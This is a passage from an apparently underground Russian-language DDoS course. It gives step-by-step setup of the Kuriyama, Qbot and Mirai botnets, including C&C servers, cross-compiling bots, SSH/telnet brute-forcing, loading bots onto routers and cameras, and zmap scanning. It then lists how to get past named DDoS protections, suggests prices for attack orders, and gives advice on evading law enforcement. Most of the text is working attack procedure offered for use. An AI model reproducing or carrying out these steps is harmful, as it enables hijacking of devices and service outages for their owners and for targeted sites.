Видим, что требует какой-то класс В, давайте теперь разберем что енто такое и как этоприменять. Существуют разные виды диапазонов. Я приведу в пример самый обычный,который можно встретить в повседневной жизни, к примеру:
5.5.0.0 - 5.5.255.255
Существуют также классы диапазонов, мы рассмотрим А и В.
А диапазоны содержатся вот так:
5
6
7
или
95
205
от 1 до 255
В диапазоны содержатся вот так:
5.5
95.8
26.7
У А диапазонов сканится от 5.0.0.0 до 5.255.255.25
У В если указали 5.5 то от 5.5.0.0 до 5.5.255.255
Т.е. для скана нам нужны В диапазоны, и соотвественно мы запускаем скан примерно воттак:
php xml_scan.php 95.5 100 list.txt 1
Пока идет скан - найденные записи будут записываться в указанный файл.
После того как вы насканите нормальное (примерно 10к) количество строк, высможете выходить в бой смело.
На этом настройка XMLRPC закончена.
Вы можете идти в бой.
Листы XMLRPC содержат сайты на вп, не забываем.
Настройка Joomla идет почти так же, только скан идет по диапазонам вида5.5.0.0 — 5.5.255.255. Но, как показывает практика, XML-RPC лучше чем Joomla.
Думаю, рассказывать как пользоваться стрессерами нет смысла, потому что вообщесамое легкое, что могло бы быть на свете. И поэтому мы сейчас с вами разберем ответы навопросы и приступим к ботнетам.
ВОПРОСЫ:
1. Если не знаете как пользоватьс стрессерами, то вы тупо хуярите айпи/URL, порт, время и метод и всёА платите за пакет услуг,скан и прочая поебота на админах. Ваше дело платить и хуярить.
--Сейчас все:*Охуевают по дудосерски*
2. Где доставать скрипты? Как остановить скан?
--Скрипты оставлю в конце обучения
3. Ну кроме тех что ты скинешь, по идее ещё много есть, мб форумы какие-то?
--В СНГ нет.
--Свежие методы буду присылать вы же моя армия Китайцев
Итак, ботнеты.
Для тех кто не знает, ботнет — это сеть из зараженных устройств. Чаще всего это компьютеры, но помимо компьютера там может быть все, что имеет интернет.Чаще всего это роутеры, камеры и даже видеорегистраторы, да-да не удивляйтесь ;)
И сейчас мы поговорим о настройке трех видов.
В первую очередь это самые распространенные вин ботнеты, для примера я покажу какнастраивать ботнет от @ims0rry — Курияму. У меня у самого есть лицензия, придальнейших обновлениях DDOS там будет хороший.
Вторым ботнетом я соберу P2P ботнет Qbot, если кто слышал мб из моих гайдов,которых уже нет, но имеет место быть.
Третьим ботнетом я соберу IOT ботнет Mirai, этот ботнет успел нашуметь и оченьсильно, и он действительно является очень мощным. В правильных руках его можнооживить и даже больше :)
Он живой, да-да. Сам тоже соберу на досугеИтак, начнем с настройки вин ботнета, а именно — с Куриямы от @ims0rry. Но, передтем как мы начнем, хотелось бы поговорить о функционале данного ботнета. (Демо:http://cp30265.tmweb.ru/ логин: root | Пароль: root )
Вот такие о*уенные функции имеются в данном ботнете:
> DDOS
А именно их методы: TCP/UDP и HTTP Flood
> BOT
А именно: Download & Execute / Update
> Автозагрузка
А именно: Двойная автозагрузка / Запуск каждый 1-2 часа
> Определение CPU и версии Windows
> Запустить / Убить процесс
> Возможность запускать таски определенным компьютерам / По гео / По группам
Методов конечно не особо много, не разгуляешься, но, уверяю вас, что если данныйпродукт будет жить, а я уверен
То, методов будет больше, и каждый из них будет настолько мощный, что хватит уебатькакой-нибудь пентагон нахер ;)
Теперь давайте пожалуй посмотрим как работают таски, рассмотрим на примерезапуска DDOS“a.
HTTP-flood работает так:
IP:port;duration;threads
IP — вписываете IP / URL, не забываем указывать протокол HTTP/S.
Port - вписываете порт, по дефолту обычно это 80 (WEB).
Duration — Время, как привык говорить я — бут-тайм.
Threads — Потоки, они самые.
Пример:
TCP-Flood работает так:
IP:port;duration;threads
IP — вписываете IP жертвы
Port — вписываете порт, опять таки по дефолту 80
Duration — Время
Threads — Потоки
Пример:
127.0.0.1:80;6000;500
Ну и UDP-Flood указывается абсолютно также, как и TCP.
Ну а теперь пожалуй стоит посмотреть на мощь данного ботнета.
HTTP-Flood с 1 бота на 100 потоках:
Не удалось прогрузить медиа
Чтож, тут очень даже неплохо.
На этой стадии я отчасти косвенно помогал Соррику сзапиливанием DDOSа помощнее в его экспериментальный лоадер, который в последствиистал DDOS лоадером. Я надеюсь, что у нас обоих будет время, и мы запилим еще болеемощный DDOS в данную шайтан-машину. А учитывая то, что Соррик помимо того,что мойколлега, он является моим другом, поэтому я всегда буду готов прийти к нему на помощь.(Говоря проще — мощному дудосу в Курияме — быть.)
TCP-Flood с 1 бота на 50 потоках:
Не удалось прогрузить медиа
Чтож, тут. На этой стадии я не смог полноценно помочь, так как в основном все мои методызаточены под никсы, а не под вин, эксплуатировать их туда это крайне проблематично. Но,тем не менее, мощь на 50 потоках была 500-600 кбит, что неплохо. На 100 потоках с 1 ботаможно выдавать 1 мбит/сек. Если бы это как-нибудь оптимизировать так, чтобы 1 ботвыгребал больше потоков — это было бы бомбой. Так как мощи было бы настолькодостаточно, чтобы разъебать фильтр какого-нибудь хостинг-провайдера.
UDP-Flood с 1 бота на 50 потоках:
Не удалось прогрузить медиа
Чтож, дела тут обстоят немного хуже, да и история та же. Для чего я рекомендую ботнетСоррика, если он уступает другим приваткам?
Потому что цена намного доступнее, и если вы приобретете его сейчас — потом Куриямы в такую цену не будет. С первой версии до второй цена уже выросла до $200.После того как я плотно возьмусь за помощь Соррику — и мы допилим DDOS, цена вырастетеще больше. И DDOS там будет уже намного мощнее, что разъебет другие приватки.
Также, я надеюсь, что мы добавим туда больше интересных методов, такие какHTTPStrong или HTTPNull к примеру, а ведь такие методы пока что есть лишь в IRC Medusa,билд которого на экспе стоит 500$, по крайней мере так было, когда я вообщеинтересовался ботнетами ;)
НУ А ТЕПЕРЬ ДУМАЮ ЧТО ПОРА ПРИСТУПИТЬ К НАСТРОЙКЕ ДАННОГОМОНСТРА.
В первую очередь, хочу сказать, что для ботнетов стоит заводить абузоустойчивые, самыечто ни на есть буллетпруф сервера. Если вы поставите на обычный белый сервак свойботнет — он улетит в бан, да-да не удивляйтесь.
Ну а для теста я взял обычную впску у blazingfast.io, хост не буллетпруф, но похоститьнебольшой ботнетик там можно. Итак, выдали вам сервак, вы подключаетесь к нему иначинаете настройку.
Сначала вписываем:
apt-get update -y
Ждемс, потом:
apt-get upgrade -y
Ну и потом уже:
apt-get install apache2
Теперь стоит проверить, установился ли наш веб-сервер апач.
Для этого в браузере вбиваем IP своего сервера и смотрим, если открылось стандартноеокно апача, значит все хорошо и можно продолжать.
Выглядит оно так:
Не удалось прогрузить медиа
Теперь вписываем:
apt-get install zip -y
Ждем установки и вписываем:
apt-get install php5 libapache2-mod-php5 php5-cli -y
Снова ждем установки и пишем:
apt-get install php5-mysql mysql-server -y
Во время установки, нужно будет указывать пароль, чтобы не запутаться, ставьте ВЕЗДЕодин пароль от 8 символов (такое графическое меню может не на всех серверах появляться,не пугаемся и вводим пароль в консоль)
Не удалось прогрузить медиа
Далее пишем:
a2enmod rewrite
Затем пишем:
service apache2 restart
И ставим phpmyadmin:
apt-get install phpmyadmin
Выбираем apache2:
Не удалось прогрузить медиа
Потом жмем и вводим пароль 3 раза.
Далее пишем:
ln -s /usr/share/phpmyadmin /var/www/html/phpmyadmin
Затем пишем:
apt-get install php5-mysqlnd
И перезапускаем апач:
service apache2 restart
Далее переходим в phpMyAdmin чтобы залить базу данных.
В строке браузера вводим:
http://IP_servera/phpmyadmin
Логин: root
Пароль: который вы прописывали в консоли
Теперь нужно создать базу данных, жмем вот сюда:
Не удалось прогрузить медиа
И сюда:
Не удалось прогрузить медиа
Теперь в меню слева нажимаем по только что созданной базе данных (root), потомнажимаем «Импорт».
Здесь ничего не трогаем, просто выбираем со своего компьютера выданную вам БД(.sql файл) и нажимаем кнопку «Вперед»
Появится надпись, об успешном выполнении импорта.Теперь всё что нам нужно, это отредактировать файл «config.php» и залить всефайлы на свой сервер.
Открываем config.php в программе Notepad++ и прописываем свой логин (root) ипароль в файл.
Теперь осталось залить все файлы на сервер. Скачиваем и запускаем программуFileZilla.
В программе нажимаем «Файл» → “Менеджер сайтов”. Создаём новый сайт
Хост — это IP вашего VDS сервера
Протокол обязательно выбираем SFTP
Тип входа: Нормальный
Логин: root
Пароль: (ваш пароль)
И заливаете все файлы в директорию /var/www/html
Заходите по адресу http://ipсервера/ и попадаете в панель авторизации.
Логинитесь — бам, вы зашли.
Теперь хотел бы поговорить о P2P ботнете Qbot, который я использовал до ареставключительно (да-да). Но, к счастью, за пару дней до ареста я снес ботнет по какой-топричине. Данный ботнет в мете уже давно, и что удивляет, он все еще работает.
Итак, что нам понадобится?
1. Сервер под CNC. Вообще, правильно C&C, но типа C and C, поэтому я говорю CNC. Те, ктоне знает что это, в общем это панель управления. Аля админка, только управление идет сконсоли, да-да. ОС — строго CentOS 6. (Желательно иметь буллетпруф сервер, т. к.возможен бан)
2. Сервер под скан/прогруз. Боты тут сканятся и… внимание, БРУТЯТСЯ. Да, боты брутятся.Обязательно нужен буллетпруф сервер, так как абуз прилетит немало. (Желательно такжеCentOS, можно Debian).
Итак, вы все закупили, чтож, приступаем.
Для начала логинимся на наш сервачок и пишем:
yum update -y
подождем, потом
yum upgrade -y
потом
yum install screen nano wget python -y
Теперь заливаем server и пустой файл с названием login.txt
Далее создаем директорию, ну например Compiles:
mkdir compiles
Заливаем туда клиент и кросс-компилеры.
Сам QBOT написан на С, кросс-компилеры на путоне.
Client.c - https://pastebin.com/U2afqzSp
Server.c - https://pastebin.com/cG2582me
cc7.py - https://pastebin.com/UUcY89JZ (Cross-Compilers)
НЕ ЗАБУДЬТЕ ДОБАВИТЬ IP сервера в client.c
Вот здесь:
Не удалось прогрузить медиа
Указывать IP:PORT, порт укажите 23.
Теперь отредачим лимитс конфиг:
nano /etc/security/limits.conf
Идем в конец, находим такие строки:
#* soft core 0
#* hard rss 10000
Сразу после них вписываем:
#* soft nofile 99999
#* soft nofile 99999
Сохраняем. (Ctrl + O)
Выходим, CTRL+X
Идем в наш каталог complies:
cd compiles
Пора подрубать кросс-компилеры:
python cc7.py client.c IP-сервера
И начнется адский трэш, который ждать минут 15. Можете попить чай или попинать х*й.
После того, как все закончится, выйдет в конце такая строка зеленого цвета:
Your link: cd /tmp || cd /var/system и бла бла бла. Если увидели ее - копируйте и сохранитенадежнее. Если про*бете - придется переустанавливать ботнет.
Итак, сохранили, все.
Теперь пишем:
yum install nc -y
Идем назад в наш каталог p2p:
cd ..
Заходим в login.txt и пишем:
свой логин:свой пароль
Теперь компилим наш server.c
gcc server.c -o server -pthread
Итак, скомпилили, теперь запуск:
screen ./server 23 1000 100
И теперь жмем CTRL+D
Должно быть написано: [decatched]
Качаем теперь клиент Putty и вписываем наш ИП, тип подключения выбираем RAW,порт указываем 100.
Вводим логин, вводим пароль.
Все, вы попали в CNC своего ботнета, ура.
Пришло время сканить и брутить.
Берем второй сервак, логинимся, пишем:
yum update -y
yum upgrade -y
yum install perl nano wget git -y
Апдейт, апгрейд и установка закончены, переходим к скачиванию сканера.
Клонируем Git'ом по канону:
git clone https://github.com/701th/LRAB-SCANNER.git
Пишем ls, видим каталог LRAB, и пишем:
cd LRAB
Опять напишем ls, видим файлики:
Не удалось прогрузить медиа
Теперь надо бы удалить txt файлики, чтобы не путать ничего.
Пишем:
rm -fr bios.txt
rm -fr mfu.txt
Отлично, теперь заменим наш линк в файлике blackhat.pl
Помните при завершении установки в первой части нам выдало длинную такуюссылку с кучей буковок? Вот, вы ведь ее сохранили? Отлично.
Нам нужно отредактировать вот эту строку:
Не удалось прогрузить медиа
Внимание, копировать строго от апострофа до апострофа, он выглядит так: ' (Егослучайно не удалите)
Теперь приступаем к скану. Пишем:
./class 22 -i eth0 -a 79 -s 10
А теперь давайте разберем команду.
Class - сам наш сканер,
22 - это порт (SSH)
-i eth0 = -i это я указал сетевой адаптер, и называется eth0. Если вы не знаете какой у вассетевой адаптер, можете не указывать, это не обязательно.
-a 79 - это диапазон. Можно указать B диапазон, в таком случае пишете -b 79.5 к примеру, и он будет сканитьдиапазон 79.5.0.0 до 79.5.255.255, но это муторно, хотя, кому как)
-s 10 = это скорость, бывают пропуски из за такой скорости + нагружает канал/проц. Но,если вам нужно максимум выжать, вы можете вместо 10 поставить 1, но скан будет нуочеееень долгий, на диапазоне B будет конечно же быстрее.
Итак, вы к примеру начали сканить, скан уже закончился, появился файлик bios.txt, тамкак раз таки наши насканенные айпишники. Что нам с ними делать?
Нам нужно их отсортировать такой простой командой:cat bios.txt | sort | uniq > mfu.txt
Строго в таком порядке.
Так, все закончилось, отлично. Теперь приступаем к бруту наших ипов.
Пишем:
./update 1500
Update - это сам брутфорсер
1500 - потоки
Я поставил 1500, т.к. мой сервак очень даже мощный, но, в вашем случае советуютренироваться на маленьких потоках. И одновременно мониторить dstat (нагрузку на проц)
Как установить dstat?
yum install dstat -y
Для запуска пишем:
dstat
Итак, наши боты набрутились, и сохранились они в файлик vuln.txt.
Если хотите, можете на них поглядеть, вписав: nano vuln.txt
Теперь приступаем к прогрузу наших ботов.perl blackhat.pl vuln.txt
Если выдает ошибку, значит пора фиксить:
Не удалось прогрузить медиа
LRAB Error Fix - Pastebin.com
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
Не удалось прогрузить медиа
pastebin.com
Открываем наш CNC и наблюдаем как боты коннектятся.
Как пользоваться ботнетом?
Просто впишите HELP и выйдут команды, и как их использовать. Есть даже HTTP :)
Что за дичью мы атакуем? Роутерами и камерами.
Ботнет довольно таки неплох.
Ну а теперь, долго не задерживаясь приступим к настройке Мирая.
IOT ботнет Mirai уже успел нашуметь и отпахать свое в 2016, но так как подходящего IOTботнета по вкусу я не нашел, для примера я покажу вам как настраивать IOT ботнет MIirai.Если кто из вас не знает, данный ботнет разработал чел с ником Anna-Senpai, которыйпрославился на весь мир тем, что написал первый подобный ботнет и уебал Креба и OVHпод 1 Тб/c, имея на борту 400 тысяч ботов. Это овер дохуя, учитывая что каждый ботвыдавал немало. Далее он выложил исходники на форуме и все оценили сие чудо. Ондовольно мощный, если его доработать и оптимизировать под нынешний год - будеточень даже неплохо. Долго пиздеть не буду, и лучше перейду к установке. А для установкиданного чуда нам понадобится:
1. Сервер с дистром Debian 8 на борту под CNC
2. Сервер под скан
3. Сервер под прогруз, но если у вас мощная тачка под CNC, вы можете прогружать и там.
Сам ботнет написан на ЯП C и Go
Для начала берем первый сервер, логинимся и пишем:
apt-get update -y
потом:
apt-get upgrade -y
ну и ставим нужный софт:
apt-get install gcc golang electronic-fence git libc6-dev -y
Далее клонируем исходники, х*ярим:
git clone https://github.com/jgamblin/Mirai-Source-Code.git
Теперь ставим БД:
apt-get install mysql-server mysql-client -y
Вылезает окошко, пасс два раза вписываем, все гуд.
Далее заходим в каталог mirai, потом в cnc, находим файл main.go и редачимсаблаймом/нотепадом, видим строчку "const DatabaseAddr, в поле 127.0.0.1 (локалхост) мыдолжны вписать на конце :3306, это порт.
На выходе должно получиться: 127.0.0.1:3306
Теперь пишем:
apt-get install curl mercurial make binutils bison build-essential -y
Далее:
wget https://storage.googleapis.com/golang/go1.9.2.linux-amd64.tar.gz
Ну и теперь:
sudo tar -xvf go1.9.2.linux-amd64.tar.gz
sudo mv go /usr/local
export GOROOT=/usr/local/go
export GOPATH=$HOME/Projects/Proj1
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
Теперь поставим кросс-компилеры, я надеюсь вы помните про них.
Пишем:
mkdir /etc/xcompile
cd /etc/xcompile
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
tar -jxf cross-compiler-armv4l.tar.bz2
tar -jxf cross-compiler-i586.tar.bz2
tar -jxf cross-compiler-m68k.tar.bz2
tar -jxf cross-compiler-mips.tar.bz2
tar -jxf cross-compiler-mipsel.tar.bz2
tar -jxf cross-compiler-powerpc.tar.bz2
tar -jxf cross-compiler-sh4.tar.bz2
tar -jxf cross-compiler-sparc.tar.bz2
tar -jxf cross-compiler-armv6l.tar.bz2
rm *.tar.bz2
mv cross-compiler-armv4l armv4l
mv cross-compiler-i586 i586
mv cross-compiler-m68k m68k
mv cross-compiler-mips mips
mv cross-compiler-mipsel mipsel
mv cross-compiler-powerpc powerpc
mv cross-compiler-sh4 sh4
mv cross-compiler-sparc sparc
mv cross-compiler-armv6l armv6l
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/usr/local/go/bin
export GOPATH=$HOME/Documents/go
Идем в каталог mirai и пишем:
./build.sh debug telnet
Теперь заходим в каталог debug, и пишем:
./enc string IPСервера
Вам выдаст строку с непонятыми вам символами, вы ее должны вставить сюды:
Через FTP заходим, по протоколу SFTP конечно же. Идем в этот каталог, там находимкаталог mirai, далее находим каталог bot, находим там файл table.c и редачим егосаблаймом/нотепадом.
Отредачить мы должны эту хуйню:
Не удалось прогрузить медиа
Которая в ковычках. Заменяем на свою, сохраняем.
Теперь перейдем к настройке Базы данных.
Для начала оффаем IPTables. Если кто не знает, это утилита для файрволла NetFilter.
Чтобы оффнуть его нахуй пишем:
service iptables stop
Если не пашет:
/etc/ini.d/iptables stop
Ну а теперь пишем
mysql -u root -p
Вводим пасс от рута, окей, залогинились.
Теперь пишем:
create database mirai;]
Теперь:
use mirai
Х*ярим:
INSERT INTO users VALUES (NULL, 'botnet', 'ПарольКоторыйУказывалиУРута', 0, 0, 0, 0, -1, 1,30, '');
Ну и теперь копируем это:
https://pastebin.com/0fWbKH7Z И вставляем.
Ну а теперь вспомните, где мы добавляли :3306 к локалхосту, вот, идете туда, и редачителогин и пароль. Логин и пароль ваши указаны чуть выше.
Все, сохраняем, теперь пишем:
service mysql restart
И теперь пишем в mirai и пишем:
./build.sh release telnet
Теперь закиньте файл prompt.txt в каталог release.
Заходите в release и пишите:
apt-get install screen -y
Потом:
screen ./cnc , затем жмете CTRL+A+D, должно быть написано DECATCHED
Открываем Putty, указываем IP, тип подключения выбираем не SSH, а Telnet.
Вылезает окошко:
Не удалось прогрузить медиа
Я тоже люблю куриные наггетсы)
Вводим логин и пароль, которые указывали.
Немного ждем... вжух, вот и твой ботнет.
Ну а теперь пора перейти к скану... С чего начнем?
Да начнем с того что установим апач
apt-get install apache2 -y
Запустим ка его,
service apache2 start
Находясь в каталоге release теперь пишем:
mv mirai.* /var/www/html
Теперь открываем notepad/sublime text и х*ярим туда эту е*анину:
Не забываем редачить свой IP (сервера)
Теперь сохраняем с названием bins.sh
И льем в каталог /var/www/html
Теперь service apache2 restart
Теперь идем в папку /root/dlr,
И меняем в файле main.c IP.
Меняем там с 127.0.0.1 на наш IP.
Сохраняем.
Теперь пишем sh build.sh
И копируем все файлы в папку /loader/bins.
Теперь заходим в папку loader и редачим файл main.c
Редачим там все IP на свой.
Теперь пишем sh build.sh
Бум. Наш лоадер готов.
Теперь пойдем сканить.Нам будет нужен софт ZMAP. Как его настроить я скину потом гайд, тут писать будетслишком много.
Запускаем скан:
zmap -p23 -otelnet.txt
и брутим. Если у нас уже есть лист, то, пишем:
cat list.txt | ./loader
И все, боты прогружаются. Магиииия :)
6. Виды защит и как их обходить
ИТАК, ПРИШЛО ВРЕМЯ ПЕРЕЙТИ К РАЗДЕЛУ ЗАЩИТ.
Виды защиты и как их обходить. Защиты всегда были, раньше, правда, хуевые... ивсегда будут (хуевыми :D )Они бывают разных видов, построены по разному и у всех разные принципы работы.Разберем каждый и посмотрим, как они работают и как их обходить. Поехали
1. CloudFlare. Да, это скорее CDN, чем защита, но, мне похуй, нахуй пошел :)Популярная защита, я бы даже сказал популярнее всех, из существующих, таккак есть бесплатный тариф. Да, ты можешь защититься за 0 рублей. Но, стоит отметить чтоон не так уж эффективен. Итак, как же он защищает?А защищает он:а) проксированиемб) фильтрует HTTP запросыв ) есть JS заглушка (5 секундная херня крутящаяся, ее DDOSеры неграмотные ещекрутилкой называют)г) есть ебаная капча, да, меня она заебала больше всех
Итак, как же это обходить?
- Проксирование никак, так как это проксирование, реальный айпи сервака скрывается запроксями. Можно получить реальный айпи. А как мы это сделаем
- https://censys.io/ipv4 — Вбиваешь домен, с 70% вероятностью получаешь реальный IP
- http://cyber-hub.net/domain_resolver.php — вбиваешь домен, с 70% вероятностьюполучаешь реальный IP. Сбручиваются субдомены, если имеются отображаются.Проверяют также на CrimeFlare, это очень годный сервис, который покажет тебе историюсмены серверов у домена.В крайнем случае берешь и сам чекаешь, врубай смекалку, оло.
- Фильтрацию HTTP ты можешь обойти изи и легко, если у тебя есть норм мощь, а не хуйняебаная с мелким кол-вом запросов. Достаточно даже 10к r/s чтобы уебать нахуй эту хуйню.
- Если ты дурачок, который полез с HTTP флудом на заглушку, пожалуйста, перечитай этоеще раз. Смотри, есть метод, который я описывал: JSBypass. Он парсит куки и отправляетзапросы, верно? Верно. Это единственный способ обхода заглушки (резолв реал айпи нев счет).
- Капча. Капчу я так и не научился обходить, т. к. попросту не видел метод, который егообходит, но слухи ходят разные, говорят у кого-то он есть. Если найду - солью сюда. А пока,единственный метод пробивать капчу — резолвить реал айпи, сорри.
2. DDOS-Guard.
Это ребята с мозгами, но к сожалению кривыми. Данная защита также защищаетпроксированием и фильтрует HTTP трафик лучше, чем CloudFlare. НО, плохо устойчивы ихфильтры Layer 4 к ботнету, достаточно 25-50 гбпс трафика и фильтр тупо отваливается, апереключившись на другой — начинает дико лагать. HTTP фильтрация довольноустойчива, но при нормальных количествах легко падает. Итог: Защита не очень.// Когда я разъебал их фильтр, они тупо выключили сервер. Я был очень удивлен.
3. OVH.
Эти ребята с мозгами, к счастью, ровными. Данная защита защищает Layer 4 атакизнаете чем? Вакуумной фильтрацией. Это довольно-таки уникальная защита, котораянеплохо отпротектит твои атаки. Фильтрует UDP амплификации до 480 Гбпс, во п****ц,подумаешь ты. Но, от хорошенького TCP траффа отваливается на ура (это секрет).Особенно эффективен SYN, а лучше ACK флуд. Также хорошо проходит HTTP трафик, так какфильтруется ну почти никак.
Итог: Флудим TCP/HTTP траффом и будет счастье. Если не ложится, то, берем дроппер.Суть работы которого я так и не понял, так как исходников на руки не получил. Но, онработает, и это главное. Тупо дропает х*й пойми что. (С OVH Game серверами все сложнее,нужен ботнет)
4. Qrator
Бесполезная защита, абсолютно. Дропнется если зарядишь неплохого HTTPтрафика. На Layer 4 не проверял, но уверен что говно, так как made in Russia, что априориговорит о качестве. (На сайте указано что Layer 4 протектят хорошо, а Layer 7 нет, делайтевыводы).
5. StormWall
Скажу сразу, это не твой бро, как Куратор. Это настолько вы*бистая с*ка, похуже OVH.Протектят и Layer 4 и Layer 7. Есть и заглушки и чего только нет. Проксирование тожеприсутствует. Единственный твой выход — это Layer 7 с ботнета. Поверь. Иначе ты не положишь эту ебанину. Если у тебя заказ с такой херней — бери $40/час. В сутки это 1к$. Неготовы платить — нахуй идут.
Штормволл тоже made in Russia,но круче выше
6. InCapsula.
А это вот твой бро, защита 1 в 1 схожа с CloudFlare, дропается также легко.
7. Hetzner.
Это отбитая защита, которая постоянно агрится на мой скан(Протектит неплохо Layer 4, но можно обоссать. Никак не защищает от Layer 7.Сможешь дропнуть даже бесплатным софтом, привет. Итог: Заказы с такой защитой —здравствуйте.
8. Akamai
Довольно таки хорошая защита, тоже проксирует, и неплохо защищается от Layer7. Но, минус его в том, что, Layer 7 хороший уебывает его нахер. Итог: Layer 7 Твой бровсегда.
Амазон еще есть, ну они круче Акамаи.Тоже л7 ботнет:)
9. Voxility
В данном случае я тебе не завидую. Ни капли. Протектят Layer 4 до 980 гбпс. Что оченьплохо. В основном юзают игровые сервера. Дропнуть реально тяжело, поэтому в такихслучаях ботнет твой друг. Хороший ботнет — хороший трафик. Заказы подобные тяжеловывозить.
10. BlazingFast
В данном случае тоже не завидую. Работает как и CloudFlare, но по факту намного круче.Протектит Layer 4 на своих серверах до 980 Gbps. Предоставляет бесплатно вроде как своиDNS, и можно повесить JS заглушку. Обходится заглушка также, но нужен другой скрипт,которого у меня нет, привет. Можно найти его в сети. Итог: Layer 7 твой бро.
На этом думаю стоит закончить. В большинстве случаев Layer 7 твой бро, а редких — Layer4. Но все методы тебе пригодятся всегда. Поэтому если ты тягаешься с серьезными людьми— имей серьезную мощь. Если люди не серьезные — не траться на ботнет впустую.На этом я закончу данный раздел.
ВОПРОСЫ
1. https://habrahabr.ru/company/tm/blog/343328/ вот это советуюбё посомтреть, до того как в лобдолбать прикрытый сервис
2. Как определить вид защиты,не считая стандартных которые видео типо клауда ?
--check-host.net URL/IP и жмешь INFO
7. БЕЗОПАСНОСТЬ И АНОНИМНОСТЬ
Говоря о безопасности и анонимности в целом, я буду подразумевать вашузащищенность в сети. Вам нужно знать несколько простых правил, которые нужнособлюдать:
1. Никому ничего не рассказывать, даже вымышленную информацию, чреватопоследствиями.
2. Никогда ничего нигде не оставлять, все хранить у себя и скрытно.
3. Всегда анонимизировать и шифровать свои действия в сети.
Итак, как же мы все это сделаем?
С первым я думаю все понятно. Если ты не глупый(ая), все будет гуд.
Со вторым немного сложнее, но, сейчас объясню. Некоторые из вас наверное знаюттакие программы по типу TrueCrypt. Если да, то, это большой плюс. Вы сможете создатьзашифрованный раздел на своем жестком диске, доступ к которому идет через файл попаролю, либо зашифровать саму флэшку, что куда удобнее, но не мне.
Лично я зашифровал свой файл под формат mp4, и засунул в папку с видосиками.Выглядит он так: RandomName.mp4, не привлекает внимания, правда?) А вот когда егооткрываете через TrueCrypt и вводите пароль — Вжух, вытаскивается скрытый раздел совсеми файлами. Единственный минус этого — Версию 7.2 ФСБ умеют вскрывать, на счет 7.1не уверен, но, на практике подобные софтины спасали многих. Так как расшифроватьочееень тяжело. Расписывать как все это собрать я не буду, инфы есть овер дохера в гугле,расписывать здесь занимая кучу времени — немного бессмысленно.
С третьим немного сложнее, чем с первыми двумя. Итак, давайте для начала разберем чтовообще у нас есть:
1. ПроксиВообще, когда говорят прокси сервер, то по сути имеют в виду что-то, выступающеепосредником между клиентом и адресатом.Ну а по факту в разрезе обеспечения анонимности бывают трех видов:
а) HTTP прокси (WEB). Такие прокси пропускают через себя только HTTP трафик. Поумолчанию добавляя в передоваемый трафик данные о применении.
б) SOCKS прокси (Носки). В отличии от HTTP, соксы передают информацию ничего недобавляя от себя. Протокол socks находится на сеансовом уровне по сетевой модели OSI(которую мы рассматривали, но затронули лишь прикладной, транспортный и сетевыеуровни), это и позволяет соксам пропускать через себя весь трафик, а не только HTTP.
в) Ну и конечно же CGI прокси, они же анонимайзеры по сути. Не стоило их упоминать, таккак вымерли и давно, сейчас всем на прокси в целом похер, если это не касается задач, гденужно иметь разные айпи адреса, брут или спам к примеру.
Описал прокси для галочки, чтобы знали, но по факту они вам не нужны. Трафикоткрытый, ничего не шифруется.
Не удалось прогрузить медиа
Плюсы прокси-серверов:
- прокси дешевы, в сети можно найти много бесплатных прокси.
Минусы прокси-серверов:
- надо доверять прокси-серверу;
- для http-прокси надо фильтровать HTTP-заголовки;
- протоколы прокси (http, SOCKS) НЕ поддерживают шифрование междуHTTP/SOCKS/Elite/Anonymous-прокси и клиентом. А SSL-прокси означает лишь то, чтоклиент может работать с https-ресурсами;
- цепочки прокси неэффективны;
- необходимость настройки прокси-сервера для каждого приложения либо использованиеотдельных программ-соксификаторов, например, Proxifier.
VPN
Ну а тут уже разговор посерьезнее.
Для начала покажу принцип работы VPN:
Не удалось прогрузить медиа
В настоящее время у VPN имеются целых 5 протоколов, рассмотрим же их.
1. PPTP – используется наиболее широко, быстрый, легко настраивается, однако считается«наименее защищённым» по сравнению с остальными; (Трафик не шифруется, поэтому нестоит даже заикаться на эту тему)
2/3. L2TP + IPSec. L2TP обеспечивает транспорт, а IPSec отвечает за шифрование. Даннаясвязка имеет более сильное шифрование, чем PPTP, устойчива к уязвимостям PPTP,обеспечивает также целостность сообщений и аутентификацию сторон; (Без IPSec L2TPбесполезен. IPSec может работать отдельно)
4. OpenVPN – безопасный, открытый, а следовательно, распространённый, позволяетобходить многие блокировки, но требует отдельного программного клиента; (Очень дажебезопасно, можно организовать как и на линуксе, так и на винде, ничего особенного)
5. SSTP – такой же безопасный, как и OpenVPN, отдельного клиента не требует, к сожалениюнет на линуксе. Пользуюсь сам на винде, так как не нужно ставить отдельного клиента.
Никогда не стоит арендовать VPN у сервисов, даже если те гарантируют то, что неведут логов. Это большая ошибка, которую допускают многие. Итак, где же выход? Нужносамому поднимать свой VPN сервер, и неважно на каком протоколе. Просто поднять.Гайдов в интернете полно, нужно лишь взять.
Резюмирая, давайте посмотрим на плюсы и минусы VPN.
Плюсы VPN:
- быстро и удобно, не надо отдельно настраивать приложения.
Минусы VPN:
- нужно доверять VPN/SSH-серверу/провайдеру.
